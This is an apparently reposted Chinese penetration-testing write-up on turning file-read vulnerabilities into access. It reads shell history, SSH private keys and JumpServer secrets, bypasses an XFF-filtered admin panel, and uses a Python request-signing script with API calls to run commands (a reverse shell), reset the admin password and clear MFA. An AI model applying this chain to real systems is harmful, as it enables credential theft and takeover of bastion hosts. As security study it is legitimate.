文件读取漏洞实战利用

admin 2025年1月3日13:23:17评论10 views字数 2931阅读9分46秒阅读模式

本文由subjcw师傅发表在奇安信攻防社区

文章地址:https://forum.butian.net/share/4017

Nginx配置文件利用

第一处文件读取,严格来讲是SSRF(CVE-2021-27905),不过java环境下的SSRF利用有限,端口也只开放了443

读取/root/.bash_history

文件读取漏洞实战利用

翻历史命令发现这台主机上有tomcat和nginx,tomcat也没办法利用,于是把目光转向nginx

文件读取漏洞实战利用

读取nginx配置文件,获取了多个URL路由信息,分别对应不同的接口或应用

其中有一个管理后台,通过XFF来过滤请求

文件读取漏洞实战利用

添加XFF字段,访问到管理后台,弱口令拿下

文件读取漏洞实战利用

Jumpserver AccessKey利用

第二个依旧是nginx的场景,多个域名解析到同一个IP,根据域名分发到不同的后端服务。

读取/root/.bash_history,历史命令比较多,能看出来是经常使用的,还有多个ssh的公私钥

文件读取漏洞实战利用

拼接路径,拿到SSH公私钥

文件读取漏洞实战利用

读取/root/.ssh/authorized_keys可以发现获取到的公私钥与目标服务器的公钥匹配

文件读取漏洞实战利用

尝试SSH直接登陆。多地ping了一下发现不是CDN,对目标的IP全端口扫描,发现SSH开在一个高端口,但是很遗憾登不上。这个SSH是Nginx服务器的,并不是漏洞所在的服务器。

但是刚刚读authorized_keyshistory的时候发现目标服务器部署了jumpserver,并且自身在jumpserver的管理范围内。

文件读取漏洞实战利用查看收集到的资产,确实有一个jumpserver相关域名,解析IP与当前目标服务器为同一IP。现在就看能否获取jumpserver控制台权限。

读取jumpserver配置文件/opt/jumpserver/config/config.txt,可以获取一些敏感信息如数据库、redis密码,但是jumpserver是容器化部署,没办法直接连上。

除此之外就是SECRET_KEYBOOTSTRAP_TOKEN

文件读取漏洞实战利用看一下jumpserver官方文档中的说明

参数说明 - JumpServer 文档

(https://docs.jumpserver.org/zh/master/admin-guide/env/)

SECRET_KEY=****           # 用来加密解密的 KEYBOOTSTRAP_TOKEN=****      # koko/lion 用来向jms注册使用的 tokenACCESS_KEY_FILE=data/keys/.access_key  # ACCESS KEY 保存的地址, 默认注册后会保存到该文件中

获取之后可以通过脚本调用接口

文件读取漏洞实战利用

jumpserver在jms_core容器中提供了命令行工具用于管理员管理用户,可以修改密码、清除MFA,也就是说只要获取jms_core容器权限,就可以重置Web管理员密码

文件读取漏洞实战利用

看一下python示例,通过使用KeyID和SecretID对请求方法、URL、accept、date进行签名。

import requests, datetime, jsonfrom httpsig.requests_auth import HTTPSignatureAuthdefget_auth(KeyID, SecretID):    signature_headers = ['(request-target)''accept''date']    auth = HTTPSignatureAuth(key_id=KeyID, secret=SecretID, algorithm='hmac-sha256', headers=signature_headers)return authresponse = requests.get(url, auth=auth, headers=headers)

也就是说,只要保持请求方法、URL、accept、date不变,签名是可以重用的,可以简单写个python脚本获取sign,将burp作为上级代理捕获数据包后再手动调试数据包

JMS_URL = ''X_JMS_ORG = ''KEY_ID = ''SECRET_ID = ''headers = {'Accept''application/json','X-JMS-ORG': X_JMS_ORG,'Date': datetime.now(timezone.utc).strftime('%a, %d %b %Y %H:%M:%S GMT')    }defget_auth():    signature_headers = ['(request-target)''accept''date']    auth = HTTPSignatureAuth(key_id=KEY_ID, secret=SECRET_ID, algorithm='hmac-sha256', headers=signature_headers)return authdefget_request(url):    auth = get_auth()    full_url = f"{JMS_URL}{url}"print(full_url)    response = requests.get(full_url, auth=auth, headers=headers, verify=False)    response = requests.post(full_url, auth=auth, headers=headers, data=None, verify=False)print(response.text)

读取jumpserveraccesskey

文件读取漏洞实战利用

获取主机列表,这里可以读取/etc/hostname确认jumpserver的主机名,找到对应的主机id

GET /api/v1/assets/assets/?offset=0&limit=15&display=1&draw=1
文件读取漏洞实战利用

反弹shell,返回包中包含执行结果的url/api/v1/ops/celery/task//log/

POST /api/v1/ops/command-executions/ HTTP/2Host: User-Agent: python-requests/2.31.0Accept: application/jsonDate: Content-Length: Content-Type: application/x-www-form-urlencodedAuthorization: Signaturehosts=&run_as=&command=
文件读取漏洞实战利用

根据官方文档重置管理员密码,如果存在OTP同样可以通过manage.py进行重置。如果管理员开启了强制OTP,重置之后可以在登录后重新绑定。

user.mfa_level='0'user.otp_secret_key=''
文件读取漏洞实战利用

最后以admin登录jumpserver控制台,接管堡垒机。

小结

文件读取漏洞在攻防场景下的影响比较有限,但是可以利用文件读取获取历史命令、私钥文件、配置文件等进一步攻击其他服务,继而获取权限或者数据。

 

原文始发于微信公众号(沃克学安全):文件读取漏洞实战利用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月3日13:23:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   文件读取漏洞实战利用https://cn-sec.com/archives/3589140.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息